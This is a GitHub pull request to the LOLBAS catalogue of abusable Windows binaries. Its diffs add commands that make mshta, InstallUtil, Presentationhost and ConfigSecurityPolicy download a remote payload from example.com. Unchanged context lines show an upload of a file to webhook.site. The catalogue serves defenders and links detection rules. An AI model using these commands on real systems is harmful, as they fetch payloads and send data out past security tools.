Edit existing binaries with download functionality #239

New issue

Merged

wietze merged 10 commits into `LOLBAS-Project:master` from `C-h4ck-0:Edit-existing-binaries-with-Download-functionality` on Oct 4, 2022

12 yml/OSBinaries/ConfigSecurityPolicy.yml

```
@@ -1,7 +1,7 @@
---
Name: ConfigSecurityPolicy.exe
Description: Binary part of Windows Defender. Used to manage settings in Windows Defender. you can configure different pilot collections for each of the co-management workloads. Being able to use different pilot collections allows you to take a more granular approach when shifting workloads.
- Author: 'Ialle Teixeira'
+ Author: Ialle Teixeira
Created: 2020-09-04
Commands:
  - Command: ConfigSecurityPolicy.exe C:\\Windows\\System32\\calc.exe https://webhook.site/xxxxxxxxx?encodedfile
@@ -11,7 +11,15 @@ Commands:
```

```
11  11      Privileges: User
12  12      MitreID: T1567
13  13      OperatingSystem: Windows 10
    14  +   - Command: ConfigSecurityPolicy.exe https://example.com/payload
    15  +     Description: It will download a remote payload and place it in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
    16  +     Usecase: Downloads payload from remote server
    17  +     Category: Download
    18  +     Privileges: User
    19  +     MitreID: T1105
    20  +     OperatingSystem: Windows 10, Windows 11
14  21    Full_Path:
    22  +   - Path: C:\Program Files\Windows Defender\ConfigSecurityPolicy.exe
15  23      - Path: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\ConfigSecurityPolicy.exe
16  24    Code_Sample:
17  25      - Code:
```

```
@@ -29,3 +37,5 @@ Resources:
```

```
29  37    Acknowledgement:
30  38      - Person: Ialle Teixeira
31  39        Handle: '@NtSetDefault'
    40  +   - Person: Nir Chako (Pentera)
    41  +     Handle: '@C_h4ck_0'
```

13 yml/OSBinaries/Installutil.yml

```
...  ...   @@ -1,7 +1,7 @@
1    1     ---
2    2     Name: Installutil.exe
3    3     Description: The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies
4        - Author: 'Oddvar Moe'
     4   + Author: Oddvar Moe
5    5     Created: 2018-05-25
6    6     Commands:
7    7       - Command: InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll
```

```
@@ -18,13 +18,18 @@ Commands:
```

```
18  18        Privileges: User
```

```
19  19      MitreID: T1218.004
20  20      OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
    21  +   - Command: InstallUtil.exe https://example.com/payload
    22  +     Description: It will download a remote payload and place it in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
    23  +     Usecase: Downloads payload from remote server
    24  +     Category: Download
    25  +     Privileges: User
    26  +     MitreID: T1105
    27  +     OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
21  28    Full_Path:
22  29      - Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe
23  30      - Path: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe
24  31      - Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
25  32      - Path: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
26      -   Code_Sample:
27      -   - Code:
28  33    Detection:
29  34      - Sigma: https://github.com/SigmaHQ/sigma/blob/a04fbe2a99f1dcbbfeb0ee4957ae4b06b0866254/rules/windows/process_creation/win_possible_applocker_bypass.yml
30  35      - Elastic: https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/defense_evasion_installutil_beacon.toml
        @@ -39,3 +44,5 @@ Resources:
39  44    Acknowledgement:
40  45      - Person: Casey Smith
41  46        Handle: '@subtee'
    47  +   - Person: Nir Chako (Pentera)
    48  +     Handle: '@C_h4ck_0'
```

11 yml/OSBinaries/Mshta.yml

```
@@ -1,7 +1,7 @@
---
Name: Mshta.exe
Description: Used by Windows to execute html applications. (.hta)
- Author: 'Oddvar Moe'
+ Author: Oddvar Moe
Created: 2018-05-25
Commands:
  - Command: mshta.exe evilfile.hta
@@ -32,6 +32,13 @@ Commands:
    Privileges: User
    MitreID: T1218.005
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 (Does not work on 1903 and newer)
+  - Command: mshta.exe https://example.com/payload
+    Description: It will download a remote payload and place it in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
+    Usecase: Downloads payload from remote server
+    Category: Download
+    Privileges: User
+    MitreID: T1105
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Full_Path:
  - Path: C:\Windows\System32\mshta.exe
  - Path: C:\Windows\SysWOW64\mshta.exe
@@ -69,3 +76,5 @@ Acknowledgement:
    Handle: '@subtee'
  - Person: Oddvar Moe
    Handle: '@oddvarmoe'
+  - Person: Nir Chako (Pentera)
+    Handle: '@C_h4ck_0'
```

13 yml/OSBinaries/Presentationhost.yml

```
@@ -1,7 +1,7 @@
---
```

```
 2   2    Name: Presentationhost.exe
 3   3    Description: File is used for executing Browser
          applications
 4       - Author: 'Oddvar Moe'
     4   + Author: Oddvar Moe
 5   5    Created: 2018-05-25
 6   6    Commands:
 7   7      - Command: Presentationhost.exe C:\temp\Evil.xbap
          @@ -11,11 +11,16 @@ Commands:
11  11        Privileges: User
12  12        MitreID: T1218
13  13        OperatingSystem: Windows vista, Windows 7,
          Windows 8, Windows 8.1, Windows 10
     14   +    - Command: Presentationhost.exe
          https://example.com/payload
     15   +      Description: It will download a remote payload
          and place it in the cache folder (for example -
          %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
     16   +      Usecase: Downloads payload from remote server
     17   +      Category: Download
     18   +      Privileges: User
     19   +      MitreID: T1105
     20   +      OperatingSystem: Windows vista, Windows 7,
          Windows 8, Windows 8.1, Windows 10, Windows 11
14  21    Full_Path:
15  22      - Path: C:\Windows\System32\Presentationhost.exe
16  23      - Path: C:\Windows\SysWOW64\Presentationhost.exe
17      - Code_Sample:
18      -   - Code:
19  24    Detection:
20  25      - Sigma:
          https://github.com/SigmaHQ/sigma/blob/a38c0218765a8
          9f5d18eadd49639c72a5d25d944/rules/windows/process_c
          reation/win_susp_presentationhost_execution.yml
21  26      - IOC: Execution of .xbap files may not be common
          on production workstations
          @@ -25,3 +30,5 @@ Resources:
25  30    Acknowledgement:
26  31      - Person: Casey Smith
27  32        Handle: '@subtee'
     33   +    - Person: Nir Chako (Pentera)
     34   +      Handle: '@C_h4ck_0'
```